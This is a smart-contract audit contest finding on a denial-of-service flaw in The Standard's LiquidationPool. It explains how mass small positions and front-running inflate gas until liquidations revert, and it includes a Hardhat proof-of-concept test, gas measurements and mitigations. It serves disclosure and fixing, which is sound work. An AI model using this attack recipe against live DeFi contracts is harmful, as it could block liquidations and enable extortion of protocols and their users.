The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Denial of service of the LiquidationPool

Summary

An attacker can have a tremendous impact on the protocol by making the Liquidation Pool unusable.
The most severe seems to be the incapacity to liquidate undercollateralised vaults.

Vulnerability Details

The Liquidation Pool contract is designed in such a way that a malicious user can have a significant
impact on the overall gas consumption of the contract.

An attacker can register positions with several accounts to add several pending stake.
Those pending stakes are checked on almost every function calls (increasePosition, decreasePosition, distributeAssets).
The more pending stakes and holders are registered, the more gas are required.

Impact

An attacker can have to have two major impacts.

Front-running impact

Position increase

First, a legit user send a transaction to increase its position.

Then, the attacker can front-run the legit transaction to create new pending stakes and new holders.
The pending stakes will be checked during the legit transaction execution, which will increase the
required gas amount and make it fail if the provided gas amount is less than the consumed gas.

Run a liquidation

A legit user sends a transaction to run a liquidation on an undercollateralised vault.

The attacker front-run the legit transaction to create new pending stakes and new holders in the LiquidationPool.

The legit transaction runs the liquidation until the assets distribution in the LiquidationPool.
As a lot of new pending stakes are registered, the gas consumption is insanely high.
As such, the transaction reverts (out-of-gas) and the undercollateralised vault is not liquidated.

Denial of service impact

As the increasePosition has no access control, any attacker can register a lot of small positions
with several accounts. Those positions will be registered as pending stakes.

If too many pending stakes are registered, the increasePosition, decreasePosition and distributeAssets
functions will become unusable as they are cheking those pending stakes and consume a lot of gas.
Those checks are done in the consolidatePendingStakes function.

The most severe impact is due to the high gas consumption in distributeAssets.
As this function is called in the liquidation workflow, it can make revert all the liquidation transactions.
It means that the protocol will not be able to liquidate the undercollateralised vaults.

Tools Used

Scope:

  • https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L119-L132

  • https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L136

  • https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L150

  • https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L206

Testing code

The following test suite has been added to the liquidationPoolManager.js tests.

describe('HIGH - Denial of service of the LiquidationPool', async () => {
it('zigtur - highly increase gas consumption', async () => {
// a lot of users
let users = await ethers.getSigners();
// One token is enough
const balance = ethers.utils.parseEther('1');
const tstVal = ethers.utils.parseEther('1');
const eurosVal = ethers.utils.parseEther('1');
// delete the 4 first users
users[0] = users[19];
users[1] = users[19];
users[2] = users[19];
users[3] = users[19];
await users.forEach(async user => {
await TST.mint(user.address, balance);
await EUROs.mint(user.address, balance);
await TST.connect(user).approve(LiquidationPool.address, tstVal);
await EUROs.connect(user).approve(LiquidationPool.address, eurosVal);
// register users in LiquidationPool
await LiquidationPool.connect(user).increasePosition(tstVal, eurosVal);
let { _position} = await LiquidationPool.position(user.address);
expect(_position.TST).not.equal('0');
expect(_position.EUROs).not.equal('0');
});
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
// create some funds to be "liquidated"
await holder5.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
await USDC.mint(SmartVaultManager.address, usdcCollateral);
const tstStake1 = ethers.utils.parseEther('1000');
const eurosStake1 = ethers.utils.parseEther('2000');
await TST.mint(holder1.address, tstStake1);
await EUROs.mint(holder1.address, eurosStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1)
const tstStake2 = ethers.utils.parseEther('4000');
const eurosStake2 = ethers.utils.parseEther('3000');
await TST.mint(holder2.address, tstStake2);
await EUROs.mint(holder2.address, eurosStake2);
await TST.connect(holder2).approve(LiquidationPool.address, tstStake2);
await EUROs.connect(holder2).approve(LiquidationPool.address, eurosStake2);
await LiquidationPool.connect(holder2).increasePosition(tstStake2, eurosStake2);
await fastForward(DAY);
await expect(LiquidationPoolManager.runLiquidation(TOKEN_ID)).not.to.be.reverted;
});
it('zigtur - basic gas consumption', async () => {
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
// create some funds to be "liquidated"
await holder5.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
await USDC.mint(SmartVaultManager.address, usdcCollateral);
const tstStake1 = ethers.utils.parseEther('1000');
const eurosStake1 = ethers.utils.parseEther('2000');
await TST.mint(holder1.address, tstStake1);
await EUROs.mint(holder1.address, eurosStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1)
const tstStake2 = ethers.utils.parseEther('4000');
const eurosStake2 = ethers.utils.parseEther('3000');
await TST.mint(holder2.address, tstStake2);
await EUROs.mint(holder2.address, eurosStake2);
await TST.connect(holder2).approve(LiquidationPool.address, tstStake2);
await EUROs.connect(holder2).approve(LiquidationPool.address, eurosStake2);
await LiquidationPool.connect(holder2).increasePosition(tstStake2, eurosStake2);
await fastForward(DAY);
await expect(LiquidationPoolManager.runLiquidation(TOKEN_ID)).not.to.be.reverted;
});
});

Those tests can be run using the command npx hardhat test ./test/liquidationPoolManager.js --grep "zigtur -".

The following results were obtained by adding hardhat-gas-reporter with npm.
Then, the hardhat.config.js file must be modified to add:

gasReporter: {
enabled: true,
}

Results

The average gas consumption of the LiquidationPool functions are given. They were reported with the hardhat gas reporter on the unit tests.

Contract Method Min Max Avg
LiquidationPool increasePosition 208237 395884 301233
LiquidationPool runLiquidation 636996 3988127 2312562

The difference between the minimum and the maximum correspond to the difference between
the test without any registered holder in the LiquidationPool and the test with 16 holders.

The gas price for increasePosition shows an increase of almost 100%.
More importantly, runLiquidation gas price has been multiplied by more than 6.

An attacker can easily highly increase the required amount of gas for interactions with the Liquidation Pool.
As such, the attacker can make the protocol unusable. This can be heavily impactful on liquidations.

Moreover, as no access control nor emergency withdraw mechanism is set, a scenario in which the
attacker make it unusable and demand for ransom is plausible.

Recommendations

I have found two solutions to mitigate the issue:

  • Redesigning the LiquidationPool in a way such that the attacker can't heavily modify the gas consumption.

  • A minimum staking amount could be required. For example, 1000 required tokens would require the attacker to have 1000 * number_of_attacking_accounts tokens.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!